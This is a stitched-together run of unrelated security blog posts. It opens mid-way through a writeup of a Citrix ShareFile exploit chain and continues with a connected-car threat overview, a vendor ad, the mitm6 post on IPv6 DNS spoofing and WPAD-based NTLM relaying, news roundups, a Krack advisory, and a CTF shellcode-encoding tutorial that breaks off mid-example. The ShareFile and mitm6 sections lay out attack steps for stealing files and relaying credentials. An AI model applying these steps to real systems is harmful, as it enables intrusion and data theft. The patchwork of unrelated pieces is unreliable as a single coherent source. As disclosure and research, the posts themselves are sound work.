XXE error

Vulnerability 6 (not used in the chain): Token XML files vulnerable to XXE

In summary, it turns out that the token files offer another avenue to download arbitrary files from ShareFile. Additionally, the integrity of these files is insufficiently verified to protect against attackers. Unlike the previously described method which altered the upload data, this method will also decrypt encrypted files if encrypted storage is enabled within ShareFile.

Getting tokens and files

At this point we are able to write arbitrary files to any directory we want and to download files if the path is known. The file path however consists of random IDs which cannot be guessed in a realistic timeframe. It is thus still necessary for an attacker to find a method to enumerate the files stored in ShareFile and their corresponding IDs.

For this last step, we go back to the unzip functionality. The code responsible for extracting the zip file is (partially) shown below.

Unzip code

What we see here is that the code creates a temporary directory to which it extracts the files from the archive. The uploadId parameter is used here in the name of the temporary directory. Since we do not see any validation taking place of this path, this operation is possibly vulnerable to yet another path traversal. Earlier we saw that the uploadId parameter is submitted in the URL when uploading files, but the URL also contains a HMAC, which makes modifying this parameter seemingly impossible:

HMAC Url

However, let’s have a look at the implementation first. The request initially passes through the ValidateRequest function below:

Validation part 1

Which then passes it to the second validation function:

Validation part 2

What happens here is that the h parameter is extracted from the request, which is then used to verify all parameters in the url before the h parameter. Thus any parameters following the h in the URL are completely unverified!

So what happens when we add another parameter after the HMAC? When we modify the URL as follows:

uploadid-double.png

We get the following message:

{"error":true,"errorMessage":"upload-threaded-2.aspx: ID='rsu-becc299a4b9c421ca024dec2b4de7376,foxtest' Unrecognized Upload ID.","errorCode":605}

So what happens here? Since the uploadid parameter is specified multiple times, IIS concatenates the values which are separated with a comma. Only the first uploadid parameter is verified by the HMAC, since it operates on the query string instead of the individual parameter values, and only verifies the portion of the string before the h parameter. This type of vulnerability is known as HTTP Parameter Polution.

Vulnerability 7: Incorrectly implemented URL verification (parameter pollution)

Looking at the upload logic again, the code calls the function UploadLogic.RecursiveIteratePath after the files are extracted to the temporary directory, which recursively adds all the files it can find to the ShareFile account of the attacker (some code was cut for readability):

Recursive iteration

To exploit this, we need to do the following:

  • Create a directory called rsu-becc299a4b9c421ca024dec2b4de7376, in the files directory.
  • Upload an info.txt file to this directory.
  • Create a temporary directory called ulz-rsu-becc299a4b9c421ca024dec2b4de7376,.
  • Perform an upload with an added uploadid parameter pointing us to the tokens directory.

The creation of directories can be performed with the directory traversal that was initially identified in the unzip operation, since this will create any non-existing directories. To perform the final step and exploit the third path traversal, we post the following URL:

Upload ID path traversal

Side note: we use tokens_backup here because we didn’t want to touch the original tokens directory.

Which returns the following result that indicates success:

Upload ID path traversal result

Going back to our ShareFile account, we now have hundreds of XML files with valid download tokens available, which all link to files stored within ShareFile.

Download tokens

Vulnerability 8: Path traversal in upload ID

We can download these files by modifying the path in our own download token files for which we have the authorized download URL.
The only side effect is that adding files to the attackers account this way also recursively deletes all files and folders in the temporary directory. By traversing the path to the persistentstorage directory it is thus also possible to delete all files stored in the ShareFile instance.

Conclusion

By abusing a chain of correlated vulnerabilities it was possible for an attacker with any account allowing file uploads to access all files stored by the ShareFile on-premise StorageZone controller.

Based on our research that was performed for a client, Fox-IT reported the following vulnerabilities to Citrix on July 4th 2017:

  1. Path traversal in archive extraction
  2. Integrity of data files (info.txt) not verified
  3. Path traversal in info.txt data
  4. Token XML files integrity integrity not verified
  5. Debug information disclosure (authentication signatures, hashes, file size, network paths)
  6. Token XML files vulnerable to XXE
  7. Incorrectly implemented URL verification (parameter pollution)
  8. Path traversal in upload ID

Citrix was quick with following up on the issues and rolling out mitigations by disabling the unzip functionality in the cloud component of ShareFile. While Fox-IT identified several major organisations and enterprises that use ShareFile, it is unknown if they were using the hybrid setup in a vulnerable configuration. Therefor, the number of affected installations and if these issues were abused is unknown.

Disclosure timeline

  • July 4th 2017: Fox-IT reports all vulnerabilities to Citrix
  • July 7th 2017: Citrix confirms they are able to reproduce vulnerability 1
  • July 11th 2017: Citrix confirms they are able to reproduce the majority of the other vulnerabilities
  • July 12th 2017: Citrix deploys an initial mitigation for vulnerability 1, breaking the attack chain. Citrix informs us the remaining findings will be fixed on a later date as defense-in-depth measures
  • October 31st 2017: Citrix deploys additional fixes to the cloud-based ShareFile components
  • April 6th 2018: Disclosure

CVE: To be assigned

Today’s Connected Cars Vulnerable to Hacking, Malware

The McAfee Advanced Threat Research team recently published an article about threats to automobiles on the French site JournalAuto.com. Connected cars are growing rapidly in number and represent the next big step in personal transportation. Auto sales are expected to triple between 2017 and 2022, to US$155.9 billion from $52.5 billion, according to PwC France. Realizing this increase is a huge challenge for car companies as well as for IT security firms.

Through multiple added functions, from Wi-Fi and external connections to driving assistance and autonomous operations, connected cars will very soon need strong security to avoid any intrusions that could endanger drivers, passengers, and others.

Security Risks

Modern cars are exposed to security risks just as are other connected devices. Let’s look at current and future threats in the automotive security field.

The following diagram shows the main risks: 

 

Personal Data and Tracking

Connected cars record a lot of information about their drivers. This information can come from an external device connected to the car, such as a phone, and can include contact details, SMS and calls history, and even musical tastes. A car can also record shifting patterns and other driver’s habits that could be used to create a picture of a driver’s competence. This kind of oversight could aid insurance companies when offering coverage, for example.

With personal data now considered the new gold, all of this information represents a valuable target for cybercriminals as well as companies and governments.

  • Cybercriminals can use this stolen information for financial compensation and identity theft
  • Companies can use this information for marketing or insurance contracts
  • Governments can use this information for spying on and tracking people

Faked Car Data

Digital information can be modified and faked. By altering data such as pollution tests or performance, companies can take advantage of the results to increase sales. Similarly, drivers could modify car statistics such as distance traveled to fool insurance companies or future buyers.

Car Theft and Key Fob Hacking

Key fob hacking is a technique to allow an intruder to enter a car without breaking in. This technique is widely known by attackers and can be done easily with cheap hardware. The attack consists of intercepting the signal from a wireless key to either block the signal to lock the car or replay the signal to gain access.

One variant of the attack uses a jammer to block the signal. The jammer interferes with the electromagnetic waves used to communicate with the vehicle, blocking the signal and preventing the car from locking, leaving access free to the attacker. Some jammers have a range of more than 500 meters.

Key fob jammer.

Another attack intercepts the signal sent by the key and replays it to open the door. Auto manufacturers protect against this kind of attack by implementing security algorithms that avoid simple replays with same signal. Each signal sent from the key to the car is unique, thus avoiding a replay. However, one proof of concept for this attack blocks the signal to the car and stores it. The driver’s first click on the key does not work but is recorded by the attacker. The driver’s second click is also recorded, locking the car but giving two signals to the attackers. The first signal recorded, which the car has not received, is used to unlock the door. The second signal is stored for the attacker to use later.

Entering by the (CAN) Back Door

Autos use several components to interact with their parts. Since the end of the 20th century, cars have used the dedicated controller area network (CAN) standard to allow microcontrollers and devices to talk to each other. The CAN bus communicates with a vehicle’s electronic control unit (ECU), which operates many subsystems such as antilock brakes, airbags, transmission, audio system, doors, and many other parts—including the engine. Modern cars also have an On-Board Diagnostic Version 2 (OBD-II) port. Mechanics use this port to diagnose problems. CAN traffic can be intercepted from the OBD port.

The on-board diagnostic port.

An external OBD device could be plugged into a car as a backdoor for external commands, controlling services such as the Wi-Fi connection, performance statistics, and unlocking doors. The OBD port offers a path for malicious activities if not secured.

Spam and Advertising

Adding more services to connected cars can also add more security risks. With the arrival of fully connected autos such as Teslas, which allow Internet access from a browser, it is feasible to deliver a new type of spam based on travel and geolocation. Imagine a pop-up discount as you approach a fast-food restaurant. Not only is this type of action likely to be unwanted, it could also provide a distraction to drivers. We already know spam and advertising are infection vectors for malware.

Malware and Exploits

All the ECUs in an auto contain firmware that can be hacked. Cars employ in-vehicle infotainment (IVI) systems to control audio or video among other functions. These systems are increasing in complexity.

An in-vehicle infotainment system.

MirrorLink, Bluetooth, and internal Wi-Fi are other technologies that improve the driving experience. By connecting our smartphones to our cars, we add functions such as phone calls, SMS, and music and audiobooks, for example.

Malware can target these devices. Phones, browsers, or the telecommunication networks embedded in our cars are infection vectors that can allow the installation of malware. In 2016, McAfee security researchers demonstrated a ransomware proof of concept that blocked the use of the car until the ransom was paid.

A proof-of-concept IVI ransomware attack on a vehicle.

The ransomware was installed via an over-the-air system that allowed the connection of external equipment.

Third-Party Apps  

Many modern cars allow third parties to create applications to further connected services. For example, it is possible to unlock or lock the door from your smartphone using an app. Although these apps can be very convenient, they effectively open these services to anyone and can become a new attack vector. It is easier to hack a smartphone app than a car’s ECU because the former is more affordable and offers many more resources. Car apps are also vulnerable because some third parties employ weak security practices and credentials are sometimes stored in clear text. These apps may also store personal information such as GPS data, car model, and other information. This scenario has already been demonstrated by the OnStar app that allowed a hacker to remotely open a car.

Vehicle-to-Vehicle Communications

Vehicle-to-vehicle (V2V) technology allows communications between vehicles on the road, using a wireless network. This technology can aid security on the road by reducing a car’s speed when another vehicle is too close, for example. It can also communicate with road sign devices (vehicle to infrastructure). That transmitted information improves the driving experience as well as the security. Now imagine this vector invaded by destructive malware. If the V2V system becomes a vector, a malicious actor could create malware to infect many connected cars. This sounds like a sci-fi scenario, right? Yet it is not, if we compare this possibility with recent threats such as WannaCry or NotPetya that targeted computers with destructive malware. It is not hard to predict such a nightmare scenario.

Conclusion

Connected cars are taking over the roads and will radically change how we move about. By enhancing the customer experience, the automotive and the tech industries will provide exciting new services. Nonetheless, we need to consider the potential risks, with security implemented sooner rather than later. Some of the scenarios in this post are already used in the wild; others could happen sooner than we expect.

References

The post Today’s Connected Cars Vulnerable to Hacking, Malware appeared first on McAfee Blogs.

Pindrop® Passport | Authentication 101

It is obvious that fraudsters’ sophistication is evolving, surpassing security measures toward a single end goal — financial gain. Worse, consumers are unaware of the effects of social media, with 61% admitting to sharing answers to security questions over their online profiles. This percentage rises to 80% for 18-24 year olds, making them beyond easy targets to fraudsters. Additionally, personal identifying information (PII) can be bought over the black market, further enabling fraudsters to bypass security measures.

This easy access of information has rendered traditional call center identity solutions — including knowledge-based authentication (KBA) questions, ANI verification, caller ID, and standalone voice biometric solutions ineffective and inefficient. Legacy call center security solutions are slow to provide information, increasing average call handle times, and ultimately impacting the overall customer experience. In response to these insufficiencies, new technologies are leading authentication to new bounds, characterized by behavior and voice.

As we move towards an economy dictated by conversational commerce, voice biometric solutions are directly impacting authentication. The popularity of transactions made through voice-led devices, such as Amazon Alexas and Google Homes, has created further interest in integrating voice into enterprises. The voice-led revolution has allowed voice biometric solutions to step in as an alternative method of authentication. However, the strong dependency on a single type of technology has left enterprises open to fraudulent activity.

Due to the relentless nature of fraudsters and their continued attempts to work around security measures, enterprises must reexamine and protect all vulnerabilities. Standalone voice biometric solutions are not enough to authenticate callers, and until now, voice biometric engines have not accounted for voice aging. Enterprises should enact a layered approach, using voice biometrics as part of a multi-factor solution.

Pindrop® Passport combines our proprietary Deep Voice™ biometric engine with Phoneprinting™ and Toneprinting™ technologies to provide passive intelligence to authenticate legitimate callers in real-time. Learn more.

The post Pindrop® Passport | Authentication 101 appeared first on Pindrop.

mitm6 – compromising IPv4 networks via IPv6

While IPv6 adoption is increasing on the internet, company networks that use IPv6 internally are quite rare. However, most companies are unaware that while IPv6 might not be actively in use, all Windows versions since Windows Vista (including server variants) have IPv6 enabled and prefer it over IPv4. In this blog, an attack is presented that abuses the default IPv6 configuration in Windows networks to spoof DNS replies by acting as a malicious DNS server and redirect traffic to an attacker specified endpoint. In the second phase of this attack, a new method is outlined to exploit the (infamous) Windows Proxy Auto Discovery (WPAD) feature in order to relay credentials and authenticate to various services within the network. The tool Fox-IT created for this is called mitm6, and is available from the Fox-IT GitHub.

IPv6 attacks

Similar to the slow IPv6 adoption, resources about abusing IPv6 are much less prevalent than those describing IPv4 pentesting techniques. While every book and course mentions things such as ARP spoofing, IPv6 is rarely touched on and the tools available to test or abuse IPv6 configurations are limited. The THC IPV6 Attack toolkit is one of the available tools, and was an inspiration for mitm6. The attack described in this blog is a partial version of the SLAAC attack, which was first described by in 2011 by Alex Waters from the Infosec institute. The SLAAC attack sets up various services to man-in-the-middle all traffic in the network by setting up a rogue IPv6 router. The setup of this attack was later automated with a tool by Neohapsis called suddensix.

The downside of the SLAAC attack is that it attempts to create an IPv6 overlay network over the existing IPv4 network for all devices present. This is hardly a desired situation in a penetration test since this rapidly destabilizes the network. Additionally the attack requires quite a few external packages and services to work. mitm6 is a tool which focusses on an easy to setup solution that selectively attacks hosts and spoofs DNS replies, while minimizing the impact on the network’s regular operation. The result is a python script which requires almost no configuration to set up, and gets the attack running in seconds. When the attack is stopped, the network reverts itself to it’s previous state within minutes due to the tweaked timeouts set in the tool.

The mitm6 attack

Attack phase 1 – Primary DNS takeover

mitm6 starts with listening on the primary interface of the attacker machine for Windows clients requesting an IPv6 configuration via DHCPv6. By default every Windows machine since Windows Vista will request this configuration regularly. This can be seen in a packet capture from Wireshark:

dhcpv6_cropped

mitm6 will reply to those DHCPv6 requests, assigning the victim an IPv6 address within the link-local range. While in an actual IPv6 network these addresses are auto-assigned by the hosts themselves and do not need to be configured by a DHCP server, this gives us the opportunity to set the attackers IP as the default IPv6 DNS server for the victims. It should be noted that mitm6 currently only targets Windows based operating systems, since other operating systems like macOS and Linux do not use DHCPv6 for DNS server assignment.

mitm6 does not advertise itself as a gateway, and thus hosts will not actually attempt to communicate with IPv6 hosts outside their local network segment or VLAN. This limits the impact on the network as mitm6 does not attempt to man-in-the-middle all traffic in the network, but instead selectively spoofs hosts (the domain which is filtered on can be specified when running mitm6).

The screenshot below shows mitm6 in action. The tool automatically detects the IP configuration of the attacker machine and replies to DHCPv6 requests sent by clients in the network with a DHCPv6 reply containing the attacker’s IP as DNS server. Optionally it will periodically send Router Advertisment (RA) messages to alert client that there is an IPv6 network in place and that clients should request an IPv6 adddress via DHCPv6. This will in some cases speed up the attack but is not required for the attack to work, making it possible to execute this attack on networks that have protection against the SLAAC attack with features such as RA Guard.

mitm6_cropped

Attack phase 2 – DNS spoofing

On the victim machine we see that our server is configured as DNS server. Due to the preference of Windows regarding IP protocols, the IPv6 DNS server will be preferred to the IPv4 DNS server. The IPv6 DNS server will be used to query both for A (IPv4) and AAAA (IPv6) records.

ipconfig_fixed

Now our next step is to get clients to connect to the attacker machine instead of the legitimate servers. Our end goal is getting the user or browser to automatically authenticate to the attacker machine, which is why we are spoofing URLs in the internal domain testsegment.local. On the screenshot in step 1 you see the client started requesting information about wpad.testsegment.local immediately after it was assigned an IPv6 address. This is the part we will be exploiting during this attack.

Exploiting WPAD

A (short) history of WPAD abuse

The Windows Proxy Auto Detection feature has been a much debated one, and one that has been abused by penetration testers for years. Its legitimate use is to automatically detect a network proxy used for connecting to the internet in corporate environments. Historically, the address of the server providing the wpad.dat file (which provides this information) would be resolved using DNS, and if no entry was returned, the address would be resolved via insecure broadcast protocols such as Link-Local Multicast Name Resolution (LLMNR). An attacker could reply to these broadcast name resolution protocols, pretend the WPAD file was located on the attackers server, and then prompt for authentication to access the WPAD file. This authentication was provided by default by Windows without requiring user interaction. This could provide the attacker with NTLM credentials from the user logged in on that computer, which could be used to authenticate to services in a process called NTLM relaying.

In 2016 however, Microsoft published a security bulletin MS16-077, which mitigated this attack by adding two important protections:
– The location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.
– Authentication does not occur automatically anymore even if this is requested by the server.

While it is common to encounter machines in networks that are not fully patched and are still displaying the old behaviour of requesting WPAD via LLMNR and automatically authenticating, we come across more and more companies where exploiting WPAD the old-fashioned way does not work anymore.

Exploiting WPAD post MS16-077

The first protection, where WPAD is only requested via DNS, can be easily bypassed with mitm6. As soon as the victim machine has set the attacker as IPv6 DNS server, it will start querying for the WPAD configuration of the network. Since these DNS queries are sent to the attacker, it can just reply with its own IP address (either IPv4 or IPv6 depending on what the victim’s machine asks for). This also works if the organization is already using a WPAD file (though in this case it will break any connections from reaching the internet).

To bypass the second protection, where credentials are no longer provided by default, we need to do a little more work. When the victim requests a WPAD file we won’t request authentication, but instead provide it with a valid WPAD file where the attacker’s machine is set as a proxy. When the victim now runs any application that uses the Windows API to connect to the internet or simply starts browsing the web, it will use the attackers machine as a proxy. This works in Edge, Internet Explorer, Firefox and Chrome, since they all respect the WPAD system settings by default.
Now when the victim connects to our “proxy” server, which we can identify by the use of the CONNECT HTTP verb, or the presence of a full URI after the GET verb, we reply with a HTTP 407 Proxy Authentication required. This is different from the HTTP code normally used to request authentication, HTTP 401.
IE/Edge and Chrome (which uses IEs settings) will automatically authenticate to the proxy, even on the latest Windows versions. In Firefox this setting can be configured, but it is enabled by default.

auth-proxies_fixed

Windows will now happily send the NTLM challenge/response to the attacker, who can relay it to different services. With this relaying attack, the attacker can authenticate as the victim on services, access information on websites and shares, and if the victim has enough privileges, the attacker can even execute code on computers or even take over the entire Windows Domain. Some of the possibilities of NTLM relaying were explained in one of our previous blogs, which can be found here.

The full attack

The previous sections described the global idea behind the attack. Running the attack itself is quite straightforward. First we start mitm6, which will start replying to DHCPv6 requests and afterwards to DNS queries requesting names in the internal network. For the second part of our attack, we use our favorite relaying tool, ntlmrelayx. This tool is part of the impacket Python library by Core Security and is an improvement on the well-known smbrelayx tool, supporting several protocols to relay to. Core Security and Fox-IT recently worked together on improving ntlmrelayx, adding several new features which (among others) enable it to relay via IPv6, serve the WPAD file, automatically detect proxy requests and prompt the victim for the correct authentication. If you want to check out some of the new features, have a look at the relay-experimental branch.

To serve the WPAD file, all we need to add to the command prompt is the host is the -wh parameter and with it specify the host that the WPAD file resides on. Since mitm6 gives us control over the DNS, any non-existing hostname in the victim network will do. To make sure ntlmrelayx listens on both IPv4 and IPv6, use the -6 parameter. The screenshots below show both tools in action, mitm6 selectively spoofing DNS replies and ntlmrelayx serving the WPAD file and then relaying authentication to other servers in the network.

ntlmrelay_finalmitm6_cropped

Defenses and mitigations

The only defense against this attack that we are currently aware of is disabling IPv6 if it is not used on your internal network. This will stop Windows clients querying for a DHCPv6 server and make it impossible to take over the DNS server with the above described method.
For the WPAD exploit, the best solution is to disable the Proxy Auto detection via Group Policy. If your company uses a proxy configuration file internally (PAC file) it is recommended to explicitly configure the PAC url instead of relying on WPAD to detect it automatically.
While writing this blog, Google Project Zero also discovered vulnerabilities in WPAD, and their blog post mentions that disabling the WinHttpAutoProxySvc is the only reliable way that in their experience disabled WPAD.

Lastly, the only complete solution to prevent NTLM relaying is to disable it entirely and switch to Kerberos. If this is not possible, our last blog post on NTLM relaying mentions several mitigations to minimize the risk of relaying attacks.

Detection

The Fox-IT Security Research Team team has released Snort and Suricata signatures to detect rogue DHCPv6 traffic and WPAD replies over IPv6:

Where to get the tools

mitm6 is available from the Fox-IT GitHub. The updated version of ntlmrelayx is available from the impacket repository.

Cyber Security Roundup for November 2017

One of the most notable data breaches disclosed this month was by Uber, given the company attempted to cover up the breach by paying off hackers. Over a year ago the transport tech firm was said to have paid £75,000 to two hackers to delete 57 million Uber account records which they had stolen. Uber revealed around 2.7 million of the stolen records were British riders and drivers. As a UK Uber rider, this could mean me, I haven't received any notification of the data breach from Uber as yet. The stolen information included names, email addresses, and phone numbers. Uber can expect enforcement action from regulators on both sides of the pond, the UK Information Commissioner's Office (ICO) said it had "huge concerns" about the breach and was investigating.

Jewson, Cash Converters, and Imgur all reported losing data due to hacks this month, while Equifax has reported suffering significant negative financial losses following their high profile hack of personal customer data. Equifax reported their net income had dropped by £20 million due to the hack, and their breach bill was coming in at a whopping £67 million.

November was a very busy month for security patches releases, with Microsoft, Apple, Adobe, Oracle, Cisco and Intel releasing a raft of patches to fix critical vulnerabilities. Apple even had to quickly release an emergency patch at end of November to fix a root access flaw reported in macOS High Sierra version 10.13.1. So just keep patching everything IT to ensure you and your business stays ahead of enterprising cybercriminals, the Equifax breach is a prime example of what can go wrong if system patching is neglected.

November also saw Open Web Application Security Project (OWASP) finally released an updated version to its Top Ten application vulnerabilities list, which is a ‘must know’ secure coding best practice for all software developers and security testers, especially considering that Akamai reported web application attacks had increased by 69% in the third quarter of 2017. Look out for an updated OWASP Top Ten IBM DeveloperWorks Guidance from me in December to reflect the updated list.

NEWS
AWARENESS, EDUCATION AND THREAT INTELLIGENCE
REPORTS

Krack WiFi Attack: Vulnerabilities in WPA2 Protocol

All Wi-Fi connections are potentially vulnerable to a newly discovered security attack called "Krack", which allows an attacker to listen in on internet traffic (a Man-in-the-Middle Attack) over a wireless network. 

In theory, a hacker could read your web and email communications, and even inject malware like ransomware onto your device. Krack takes advantage of unpatched Apple, Android, and Windows operation systems, while unpatched Wi-Fi access points can be manipulated to orchestrate the man-in-the-middle attack.

The sky is not falling in on WiFi, this is not like the WEP protocol situation of many years ago, WEP is a security protocol fundamentally flawed by design, WPA2 encryption is not broken, the software that uses it needs to be corrected to secure it. Wireless Access Points (APs) and operating systems that use WPA2 are (or soon will be) patchable, which protects them from this attack.

For a video demo of the attack see - https://www.krackattacks.com/#demo 
For the full technical details of the WPA2 flaw and attack method see - https://papers.mathyvanhoef.com/ccs2017.pdf

Wireless Usage Advice
  • Make sure your laptop operating system has the very latest security updates patched (always) i.e. Windows, Linux, Mac. Microsoft said they have already patched Windows systems, but at this time have not confirmed details about which patch it was. Several Linux distributions have released patches for the flaw.
  • Make sure your smartphone and tablet devices have the latest security updates patched, especially Android devices, and Apple, and Windows (if anyone still uses it)
  • As always, if you are going to use public WiFii networks, my first suggestion is to avoid using public WiFi, but if you are, use VPN software. Using a secure VPN will protect you against "Krack exploited" public WiFi access points, regardless of patching and whether AP is exploited. Failing that, if you like to take risks with your personal and confidential information, as a very last resort ensure you use "https://" websites only, and be extra vigilant the "https://" do not revert to "http://".  If it does, it is a clear sign of a compromised wireless network and of your connection to it.

Preventing Your Wireless Access Point from being Exploited
Wireless Access Points (AP) firmware versions are presently being updated and released to fix this WPA2 flaw, apply them with they are released - see https://www.kb.cert.org/vuls/id/228519/. AP firmware patches are often missed, as routers updates tend not to be applied automatically.

Cyber Security Roundup for September 2017

A massive data breach at Equifax dominated the UK media finance headlines this month, after 143 million customer records were compromised by a cyber-attack, 400,000 of which were UK customer accounts. Hackers took advantage of Equifax’s negligence in not applying security updates to servers. The data breach has already cost the CEO, CIO and CISO their jobs. In the UK Equifax faces investigations and the prospect of significant fines by both the Financial Conduct Authority and the Information Commissioner's Office over the loss of UK customer financial and personal data respectively.

Hackers stole a quarter of a million Deloitte client emails, follow the breach Deloitte was criticised by security professional for not adopting two-factor authentication to protect the email data which they hosted in Microsoft’s Azure cloud service.

September was an extremely busy month for security updates, with major patches releases by Microsoft, Adobe, Apache, Cisco and Apple to fix an array of serious security vulnerabilities including BlueBorne, a Bluetooth bug which exposes billions of devices to man-in-the-middle attacks.

UK government suppliers using Kaspersky to secure their servers and endpoints may well be feeling a bit nervous about the security software after Kaspersky was banned by US Government agencies. The US Senate accused the 20-year-old Russian based security company as being a pawn of the Kremlin and posing a national risk to security. Given the US and UK intelligence agency close ties, there are real fears it could lead to a similar ban in the UK as well. A UK ban could, in theory, be quickly extended to UK government suppliers through the Cyber Essentials scheme, given the Cyber Essentials accreditation is required at all UK government suppliers.

While on the subject of the Russia, the English FA has increased its cybersecurity posture ahead of next year's World Cup, likely due to concerns about the Russian Bears hacking group. The hacking group has already targeted a number of sports agencies in recent months, including hacking and releasing football player's world cup doping reports last month. 

In the last couple of weeks, I was Interviewed for Science of Security, and I updated my IBM Developer Works article on Combating IoT Cyber Threats.

NEWS
AWARENESS, EDUCATION AND THREAT INTELLIGENCE
REPORTS

Science of CyberSecurity: Reasons Behind Most Security Breaches

As part of a profile interview for Science of Cybersecurity I was asked five questions on cyber security last week, here's question 2 of 5.

Q. What – in your estimation – are the reasons behind the many computer security breaches/failures that we see today?
Simply put insecure IT systems and people are behind every breach, insecure IT systems are arguably caused by people as well, whether it is poor system management, lack of security design, insecure coding techniques, and or inadequate support, it all boils down to someone not doing security right. For many years seasoned security experts have advocated that people are the weakest link in security, even hackers say ‘amateurs hack systems, professionals hack people’, yet many organisations still focus most of their resources and funds heavily on securing IT systems over providing staff with sustained security awareness. Maybe this is a result of an IT security sales industry over hyping the effectiveness of technical security solutions. I think most organisations can do more to address this balance, starting with better understanding the awareness level and risk posed by their employees. For instance, the security awareness of staff can be measured by using a fake phishing campaign to detect how many staff would click on a link within a suspicious email. While analysing the root causes of past cyber security incidents is a highly valuable barometer in understanding the risk posed by staff, all can be used as inputs into the cyber risk assessment process.

Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

Hey everybody,

A couple months ago, we ran BSides San Francisco CTF. It was fun, and I posted blogs about it at the time, but I wanted to do a late writeup for the level b-64-b-tuff.

The challenge was to write base64-compatible shellcode. There's an easy solution - using an alphanumeric encoder - but what's the fun in that? (also, I didn't think of it :) ). I'm going to cover base64, but these exact same principles apply to alphanumeric - there's absolutely on reason you couldn't change the SET variable in my examples and generate alphanumeric shellcode.

In this post, we're going to write a base64 decoder stub by hand, which encodes some super simple shellcode. I'll also post a link to a tool I wrote to automate this.

I can't promise that this is the best, or the easiest, or even a sane way to do this. I came up with this process all by myself, but I have to imagine that the generally available encoders do basically the same thing. :)

Intro to Shellcode

I don't want to dwell too much on the basics, so I highly recommend reading PRIMER.md, which is a primer on assembly code and shellcode that I recently wrote for a workshop I taught.

The idea behind the challenge is that you send the server arbitrary binary data. That data would be encoded into base64, then the base64 string was run as if it were machine code. That means that your machine code had to be made up of characters in the set [a-zA-Z0-9+/]. You could also have an equal sign ("=") or two on the end, but that's not really useful.

We're going to mostly focus on how to write base64-compatible shellcode, then bring it back to the challenge at the very end.

Assembly instructions

Since each assembly instruction has a 1:1 relationship to the machine code it generates, it'd be helpful to us to get a list of all instructions we have available that stay within the base64 character set.

To get an idea of which instructions are available, I wrote a quick Ruby script that would attempt to disassemble every possible combination of two characters followed by some static data.

I originally did this by scripting out to ndisasm on the commandline, a tool that we'll see used throughout this blog, but I didn't keep that code. Instead, I'm going to use the Crabstone Disassembler, which is Ruby bindings for Capstone:

require 'crabstone'

# Our set of known characters
SET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';

# Create an instance of the Crabstone Disassembler for 32-bit x86
cs = Crabstone::Disassembler.new(Crabstone::ARCH_X86, Crabstone::MODE_32)

# Get every 2-character combination
SET.chars.each do |c1|
  SET.chars.each do |c2|
    # Pad it out pretty far with obvious no-op-ish instructions
    data = c1 + c2 + ("A" * 14)

    # Disassemble it and get the first instruction (we only care about the
    # shortest instructions we can form)
    instruction = cs.disasm(data, 0)[0]

    puts "%s     %s %s" % [
      instruction.bytes.map() { |b| '%02x' % b }.join(' '),
      instruction.mnemonic.to_s,
      instruction.op_str.to_s
    ]
  end
end

I'd probably do it considerably more tersely in irb if I was actually solving a challenge rather than writing a blog, but you get the idea. :)

Anyway, running that produces quite a lot of output. We can feed it through sort + uniq to get a much shorter version.

From there, I manually went through the full 2000+ element list to figure out what might actually be useful (since the vast majority were basically identical, that's easier than it sounds). I moved all the good stuff to the top and got rid of the stuff that's useless for writing a decoder stub. That left me with this list. I left in a bunch of stuff (like multiply instructions) that probably wouldn't be useful, but that I didn't want to completely discount.

Dealing with a limited character set

When you write shellcode, there are a few things you have to do. At a minimum, you almost always have to change registers to fairly arbitrary values (like a command to execute, a file to read/write, etc) and make syscalls ("int 0x80" in assembly or "\xcd\x80" in machine code; we'll see how that winds up being the most problematic piece!).

For the purposes of this blog, we're going to have 12 bytes of shellcode: a simple call to the sys_exit() syscall, with a return code of 0x41414141. The reason is, it demonstrates all the fundamental concepts (setting variables and making syscalls), and is easy to verify as correct using strace

Here's the shellcode we're going to be working with:

mov eax, 0x01 ; Syscall 1 = sys_exit
mov ebx, 0x41414141 ; First (and only) parameter: the exit code
int 0x80

We'll be using this code throughout, so make sure you have a pretty good grasp of it! It assembles to (on Ubuntu, if this fails, try apt-get install nasm):

$ echo -e 'bits 32\n\nmov eax, 0x01\nmov ebx, 0x41414141\nint 0x80\n' > file.asm; nasm -o file file.asm
$ hexdump -C file
00000000  b8 01 00 00 00 bb 41 41  41 41 cd 80              |............|

If you want to try running it, you can use my run_raw_code.c utility (there are plenty just like it):

$ strace ./run_raw_code file
[...]
read(3, "\270\1\0\0\0\273AAAA\315\200", 12) = 12
exit(1094795585)                        = ?

The read() call is where the run_raw_code stub is reading the shellcode file. The 1094795585 in exit() is the 0x41414141 that we gave it. We're going to see that value again and again and again, as we evaluate the correctness of our code, so get used to it!

You can also prove that it disassembles properly, and see what each line becomes using the ndisasm utility (this is part of the nasm package):

$ ndisasm -b32 file
00000000  B801000000        mov eax,0x1
00000005  BB41414141        mov ebx,0x41414141
0000000A  CD80              int 0x80

Easy stuff: NUL byte restrictions

Let's take a quick look at a simple character restriction: NUL bytes. It's commonly seen because NUL bytes represent string terminators. Functions like strcpy() stop copying when they reach a NUL. Unlike base64, this can be done by hand!

It's usually pretty straight forward to get rid of NUL bytes by just looking at where they appear and fixing them; it's almost always the case that it's caused by 32-bit moves or values, so we can just switch to 8-bit moves (using eax is 32 bits; using al, the last byte of eax, is 8 bits):

xor eax, eax ; Set eax to 0
inc eax ; Increment eax (set it to 1) - could also use "mov al, 1", but that's one byte longer
mov ebx, 0x41414141 ; Set ebx to the usual value, no NUL bytes here
int 0x80 ; Perform the syscall

We can prove this works, as well (I'm going to stop showing the echo as code gets more complex, but I use file.asm throughout):

$ echo -e 'bits 32\n\nxor eax, eax\ninc eax\nmov ebx, 0x41414141\nint 0x80\n'> file.asm; nasm -o file file.asm
$ hexdump -C file
00000000  31 c0 40 bb 41 41 41 41  cd 80                    |1.@.AAAA..|

Simple!

Clearing eax in base64

Something else to note: our shellcode is now largely base64! Let's look at the disassembled version so we can see where the problems are:

$ ndisasm -b32 file                               65 [11:16:34]
00000000  31C0              xor eax,eax
00000002  40                inc eax
00000003  BB41414141        mov ebx,0x41414141
00000008  CD80              int 0x80

Okay, maybe we aren't so close: the only line that's actually compatible is "inc eax". I guess we can start the long journey!

Let's start by looking at how we can clear eax using our instruction set. We have a few promising instructions for changing eax, but these are the ones I like best:

  • 35 ?? ?? ?? ?? xor eax,0x????????
  • 68 ?? ?? ?? ?? push dword 0x????????
  • 58 pop eax

Let's start with the most naive approach:

push 0
pop eax

If we assemble that, we get:

00000000  6A00              push byte +0x0
00000002  58                pop eax

